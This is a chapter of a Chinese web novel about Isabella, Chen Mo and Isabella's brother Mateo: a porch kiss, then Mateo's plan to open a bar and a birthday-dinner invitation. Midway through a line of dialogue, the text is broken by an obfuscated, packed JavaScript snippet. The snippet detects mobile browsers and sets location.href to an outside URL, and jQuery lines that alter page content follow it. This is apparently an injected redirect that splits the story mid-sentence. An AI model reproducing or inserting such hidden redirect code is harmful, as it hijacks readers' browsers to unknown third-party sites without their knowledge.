手悬在半空,马特奥被自己妹妹这一连串连珠炮轰得愣了一瞬。他看看伊莎贝拉,又越过她肩膀看了一眼被她挡在身后的陈漠,嘴角慢慢浮起一个意味深长的弧度。
“我就是打个招呼。”他说,收回手,在裤子上蹭了蹭。
“打完了,”伊莎贝拉说,“你行李还没搬完,货厢里还有两个纸箱子,有一个破了,你那些破调料罐子掉了一地。”
“那不是我……”
“哥。”
马特奥举起双手做了个投降的姿势,弯腰拎起地上的两个帆布行李袋,往楼梯口走。经过伊莎贝拉身边的时候,他低头看了她一眼,用只有两个人能听到的音量说了句西语,语气里带着笑。
伊莎贝拉抬手在他胳膊上拍了一巴掌,啪的一声脆响,“?Cállate!”
马特奥大笑着上了楼,脚步声在木质楼梯上一级一级地远去,消失在二楼走廊。紧接着是一声门被推开的闷响,行李袋落地的重响,以及马特奥吹着口哨翻找东西的动静。
客厅安静下来。
伊莎贝拉转过身,陈漠站在窗户旁边,手机已经握在手里,屏幕亮着,锁屏界面上显示着时间。
15:11。
“你四点要去训练场。”伊莎贝拉说。
“嗯。”
“那走吧,我送你到门口。”
陈漠看了她一眼,没说什么,手机揣进口袋,弯腰拿起沙发扶手上搭着的外套。经过茶几的时候Biscuit睁开一只眼睛看了看她,尾巴在地板上扫了两下,又闭眼睡过去了。陈漠弯腰挠了挠它耳后,然后直起身,往门口走。
伊莎贝拉跟在她身后。
陈漠下了两级台阶,听到身后伊莎贝拉的脚步声停了。她回过头。
伊莎贝拉站在门廊台阶最上面一级,两只手交叠在身前,卷发被风吹得在肩头轻轻晃动。她先是往左右看了看,丹妮丝家门廊上没人,篮球场空的,整条街在这个时间点安静得像是在替她清场。
她往前走了一步,站在台阶边缘。
“你过来一下。”
陈漠站在台阶下面,笔挺地站着,影子落在地上拖得老长,微仰着头看着伊莎贝拉。她从这个角度看伊莎贝拉,蜜棕色的皮肤被门廊屋檐投下的阴影遮了一半,另一边脸上画了一道亮边,深棕色的眼仁在这道亮光里显得格外清澈。
她走上台阶。两级一步。
刚站稳,伊莎贝拉的手就抓住了她的外套领口,五根手指绞住灰色立领的边缘。陈漠还没开口问怎么了,伊莎贝拉就往后退了半步,手上用力一拽。
陈漠被拽得往前踉跄了半脚。她本能地想问干什么,嘴唇刚张开,伊莎贝拉就压了上来,含住陈漠的下唇,吸吮了一下,又牙齿轻轻咬了一下她的上唇。
动作说不上熟练,说不上从容,像是她已经忍了很久,忍过了客厅,忍过了马特奥,忍过了陈漠站在门口回头看她那一瞬间的毫无防备,现在终于不用忍了。
陈漠的大脑在这零点几秒里是空白的。嘴唇上传来湿润的触感和轻微的齿压让她浑身一震,脑子里闪过几个支离破碎的念头,这是在大门口,马特奥还在楼上,可是这些念头全部被伊莎贝拉的一个动作碾碎了。
伊莎贝拉的手搂上了她的腰。
实打实地搂,手指扣进她外套和T恤之间的缝隙,隔着薄薄的棉布贴上她的后腰,掌心很热。伊莎贝拉的身体贴了上来,胸口贴上陈漠的胸口,腹贴上陈漠的腹,胯贴上陈漠的胯,整个人像藤蔓一样缠上来,把自己嵌进陈漠身前的每一寸空隙里。
温热柔软,真实的,属于另一个人的身体,隔着几层薄棉布,毫无保留地贴在她身上。
她伸出手,一只手按在伊莎贝拉的后脑勺上,手指插进那头深棕色的卷发里,发丝从指缝间滑过,触感又滑又凉。另一只手捧住伊莎贝拉的脸,拇指抵在她的颧骨上,掌心贴着她发烫的脸颊。
她往前逼了几步。
伊莎贝拉的脚后跟碰到了门廊的墙板,身体被夹在木墙和陈漠之间,后脑勺被陈漠的手掌护着,没有撞到墙。
陈漠吻了回去,没有任何章法,没有任何技巧,颂蓬教她的所有关于精准和效率的东西在这一刻全部作废。她的嘴唇碾过伊莎贝拉的嘴角,落在下唇上,然后是上唇,然后是唇缝。她不知道该怎么换气,不知道该怎么控制角度,不知道力道重了还是轻了。她在混沌中碰到了伊莎贝拉的舌尖,触电般的触感窜过脊柱,她整个人抖了一下,眼底被活生生逼出些微水光。
伊莎贝拉被压在墙板上,后背抵着冰凉的木墙,胸前贴着陈漠滚烫的身体。她仰着头承受陈漠毫无章法的吻,嘴唇被碾得发麻,鼻腔里全是陈漠身上的味道。两人齿关轻碰在一起时,陈漠整个压上来,将她严丝合缝地钉在墙上。
她的手从陈漠腰侧滑到后背,搂紧了她的肩胛骨,指尖隔着T恤触到那一层薄而结实肌肉下的骨骼脊缝,指腹抵着沟壑用力往上推。
陈漠停了一瞬,额头抵着伊莎贝拉的额头,鼻尖碰着鼻尖,气息乱成了碎片。
这就是全部答案。
根本不用开口。伊莎贝拉的眼里映着陈漠的脸,睫毛上沾着水光,梨涡在嘴角慢慢绽开。
“你大概都不知道松开。”
陈漠深吸了一口气,退开小半步,手从伊莎贝拉的后脑勺滑到肩头,扶着她的肩膀,目光扫过她被吻得泛红的下唇,和锁骨下方那根金色十字架项链被挤歪了半寸。
她伸手摆正项链。
“我走了。训练完回来给你发消息。”
“早点回来。我爸今晚做烤肉,马特奥带回来的那种墨西哥腌料。你那份我给你留。”
陈漠站在台阶上看了伊莎贝拉最后一眼,嘴角露出了一点笑意,转身下了台阶。
伊莎贝拉在门廊上看着陈漠沿着人行道往修车厂的方向走去,灰衣灰裤的身影被西斜的太阳拉得很长。直到陈漠在街角拐弯处停了一下,回头看了一眼,冲她挥了一下手,然后消失在拐角后面。
她靠在门框上,抬起手摸了摸自己的嘴唇,指甲轻擦过唇角的时候带起一阵刺痛,不疼,痒丝丝的。舌尖也麻麻的,舌根处还残留陈漠的气息,舔一舔唇缝就能找回那一刻是怎么被毫无章法抵在墙上的感受。
她深吸了一口气,往后撩了撩眼前的卷发,嘟囔了句西班牙语,推门进了屋。
纱门刚关上。
马特奥就楼梯口拐出来,径直走到冰箱前,弯腰在里面翻了一阵,拽出两罐啤酒。冰镇的,罐身上凝了一层水珠,他用两根手指夹着罐口拎出来,顺手把冰箱门用膝盖顶上了。回头往客厅扫了一眼,看到伊莎贝拉还站在门边,他把其中一罐往茶几的方向举了举:“过来坐。”
伊莎贝拉应了一声,走到沙发边坐下,抱起一个靠垫搂在怀里。Biscuit从茶几底下探出脑袋,看了看她,又看了看厨房里的马特奥,尾巴在地板上敲了两下,判断暂时没有人要给它吃的,又把脑袋缩回去了。
马特奥把一罐啤酒搁在伊莎贝拉面前的茶几上,自己拉开另一罐的拉环,仰头灌了一口。他在沙发另一头坐下,裤兜里摸出一根烟,自己卷的那种,一头粗一头细,烟纸裹得不太规整,里面夹的烟草闻起来有股甜丝丝的呛味。
烟叼在嘴里,他又从另一个口袋摸出打火机,啪嗒啪嗒打了两下没着,第三下才窜出火苗。
“你在家里抽这个?”伊莎贝拉皱起眉,“妈回来闻到又该唠叨你一整个晚上。”
“妈去哪儿了?”打火机扔在茶几上,马特奥歪着头看了她一眼。
“教堂,”伊莎贝拉说,“跟丹妮丝一起走的。说是今天下午有什么圣母慈悲还是玫瑰经的活动,我也没听清,她出门的时候我还在楼上。”
“爸呢?”
“五金店。厨房水槽下面那根管子又漏了,他回来发现没有合适的垫圈,又开车出去了。”
“所以家里就你一个?”
“还有Biscuit。”伊莎贝拉把靠垫往上抱了抱,下巴搁在靠垫边缘。
马特奥吸了口烟,烟灰弹进茶几上空易拉罐里,“我刚下来之前在楼上听见门廊有动静。”
伊莎贝拉:“……”
马特奥就当没看见,“后天十八了,想要什么礼物?”
伊莎贝拉盯着他,似乎在评估他是真的放她一马还是在攒着什么更损的话。盯了两三秒,判断是前者,她答非所问地说了句:“你给我画幅画。”
“我给你画幅画。我从十五岁开始就不画画了,现在连铅笔怎么拿都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535223|203371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快忘了。”
“你以前画得比我好。妈说你在老房子的门廊地板上用粉笔画了一匹那么大的马……”伊莎贝拉松开靠垫,手臂在空中画了个大圈,“爸下班回来差点以为是真的,绕开走的。”
“那是小时候没事干,在工地搬钢筋的时候总不能也搬一半停下来画画,包工头会踢你屁股的。”
“那你现在呢。”伊莎贝拉靠在沙发扶手上,侧着头看他,“你现在不用搬钢筋了。”
啤酒罐搁在茶几上,马特奥身体前倾,两只手撑在膝盖上。他盯着茶几上那罐还没开封的啤酒看了一会儿,开口的时候语气比刚才正经了不少。
“现在,我想回来做点自己的事。”
“我跟爸商量过了,把隔壁街那家倒了半年多的酒吧盘下来。”
“什么?”
“第七街区和第八街区交界那家,就是以前叫Blue Moon还是什么的那家,招牌上画了个月亮,前年老板跑路了就一直空着。我刚才去看过了,地方不小,上下两层,楼上可以住人。厨房设备还能用,吧台得重新装,地板也得换,但骨架是好的。”
“租金谈得差不多了,装修预算爸出一半,我出一半。执照走餐饮加酒水的,白天卖墨西哥菜,晚上变酒吧。东海岸这几年不是白干的,那边几个精酿啤酒厂的人我混熟了,拿货渠道都谈好了。”
“你们这次回来就是为了这个?”
“不然呢。你以为我连人带车塞满行李袋回来是度假?”马特奥往沙发靠背上一靠,翘起二郎腿,脚踝搁在膝盖上,“东海岸那边的活辞了,房子退了,东西全扔进皮卡货厢里,就是不留后路。”
他转头看着伊莎贝拉。
“你要上大学,妈一个人在家我不放心。爸过阵子还得回东海岸,那边工地上还有收尾的活在等他,少说还得再待大半年。我回来开店,离得近,家里有个什么事我十分钟就到。趁现在这一带还算太平。说是街区,占地跟规模其实不小,几条主街加上周边住的人加起来不比一个小镇少,人多就有生意,只要酒好气氛对,不怕没人来。”
“你跟爸商量了多久?”
“半年多。一开始他不同意,说开酒吧容易惹麻烦。我跟他说红蚁我退出这么多年了,麻烦还能比工地上被钢筋砸断腿麻烦?他想了几天,答应了。”
“后天你生日,这酒吧的股份挂你名下百分之十五。算我和爸一起给你的成年礼物。”
“我不要。”
“先别急着不要。”马特奥端起啤酒又喝了一口,“我不是白送你。接下来四年,不管你是去念社区大学还是州立大学,只要好好读完按时毕业,这百分之十五就是你的。你要是不读,股份我收回。读了,将来申请贷款也好找工作也好,都有个东西在手里。”
“你什么时候变得这么有心眼。”
“一直都有,只是以前不跟你说。”
“……”伊莎贝拉抬手,举着靠垫往他身上砸过去。
马特奥单手接住,塞到自己腰后当靠垫,换了个更舒服的姿势,翘着二郎腿的脚晃了晃。
“所以,后天你生日,让妈做一大桌子菜,我负责烤牛胸肉,爸负责在院子里摆桌椅。你负责邀请你的朋友。”他在“朋友”这个词上顿了顿,“叫陈漠过来,正式吃顿饭。”
伊莎贝拉抽出马特奥腰后的靠垫,重新抱在怀里,卷发垂下来挡住半边脸,“她跟妈语言不通,到时候……”
“妈连丹妮丝那个满嘴跑火车的英语都听得懂,还差她一个?再说了,你坐她旁边给翻译不就行了。”马特奥站起来,拿着啤酒罐往厨房走,“邀请你朋友的事你自己搞定,我只管烤肉。”
伊莎贝拉盘腿坐在沙发上,抱着靠垫,在心里默默盘算着措辞。陈漠下午训练完回来肯定会饿,她妈做的炖牛肉还有剩的,等会儿用微波炉热一碗端过去。然后后天,她会跟陈漠说,不是命令不是安排,就是坐在她们家沙发上,用最平常的语气问一句,我哥烤牛胸肉的手艺还不错,你要不要来尝尝。或者如果把这件事包装成“我哥要开酒吧想听听红蚁的人的意见”这种略带正事色彩的由头,陈漠说不定就会点头。
“……”
她在沙发上换了个姿势,觉得自己为了把陈漠骗上餐桌简直操碎了心。